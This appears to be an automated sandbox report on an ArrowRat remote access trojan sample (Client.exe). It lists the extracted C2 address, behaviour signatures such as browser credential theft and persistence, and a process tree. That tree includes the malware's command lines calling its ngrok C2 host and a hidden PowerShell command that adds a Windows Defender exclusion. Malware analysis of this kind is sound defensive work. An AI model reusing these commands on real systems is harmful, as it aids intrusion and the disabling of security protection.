Overview

overview

10

Static

static

10

Client.exe

windows7-x64

10

Client.exe

windows10-2004-x64

10

Resubmissions

05/09/2024, 13:44

240905-q16deasbkr10

02/09/2024, 17:59

240902-wk51lavbpn10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/09/2024, 13:44

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General

  • Target
    Client.exe
  • Size 158KB
  • Sample240905-q16deasbkr
  • SHA256 dee58e8a247eab9726675a03ddc8485c66a204d7b9f2211d8fea89729d45e7a5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
arrowratclientcredential_accessdiscoveryexecutionpersistenceratstealer

Malware Config

Extracted

Family

  • arrowrat

Botnet

  • Client

C2

  • 6.tcp.eu.ngrok.io:13114

Mutex

  • rLGiSBuYa

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 40 IoCs
  • Suspicious use of FindShellTrayWindow 50 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2532
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1672
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa
      2⤵
        PID:2952
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa
        2⤵
          PID:3460
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa
          2⤵
          • System Location Discovery: System Language Discovery
          PID:3596
        • C:\Windows\System32\ComputerDefaults.exe
          "C:\Windows\System32\ComputerDefaults.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3572
          • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
            "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Pan\dora'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4816
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4288
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4664

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            AppCache133700174948902198.txt
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133700174948902198.txt
            • Size 76KB
            • SHA256 8914455dc0e080e678198b060482e7ba5b4654b43ebcd24ea169469de2ded734
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            __PSScriptPolicyTest_ictqm4qi.xl2.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ictqm4qi.xl2.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512
            Submit Download

            memory/1672-29-0x0000000003310000-0x0000000003311000-memory.dmp
            Download

            memory/2532-200-0x00007FF8D4E80000-0x00007FF8D5941000-memory.dmp
            Download

            memory/2532-1-0x00000280D4780000-0x00000280D47AE000-memory.dmp
            Download

            memory/2532-182-0x00007FF8D4E83000-0x00007FF8D4E85000-memory.dmp
            Download

            memory/2532-0-0x00007FF8D4E83000-0x00007FF8D4E85000-memory.dmp
            Download

            memory/2532-25-0x00007FF8D4E80000-0x00007FF8D5941000-memory.dmp
            Download

            memory/3596-4-0x0000000005820000-0x00000000058B2000-memory.dmp
            Download

            memory/3596-10-0x0000000006950000-0x00000000069A0000-memory.dmp
            Download

            memory/3596-7-0x00000000060A0000-0x0000000006106000-memory.dmp
            Download

            memory/3596-6-0x00000000061A0000-0x0000000006744000-memory.dmp
            Download

            memory/3596-5-0x0000000005960000-0x00000000059FC000-memory.dmp
            Download

            memory/3596-2-0x0000000000400000-0x0000000000418000-memory.dmp
            Download

            memory/4664-44-0x000002AB45BA0000-0x000002AB45BC0000-memory.dmp
            Download

            memory/4664-65-0x000002AB461B0000-0x000002AB461D0000-memory.dmp
            Download

            memory/4664-35-0x000002AB45BE0000-0x000002AB45C00000-memory.dmp
            Download

            memory/4816-20-0x000001596F980000-0x000001596F9A2000-memory.dmp
            Download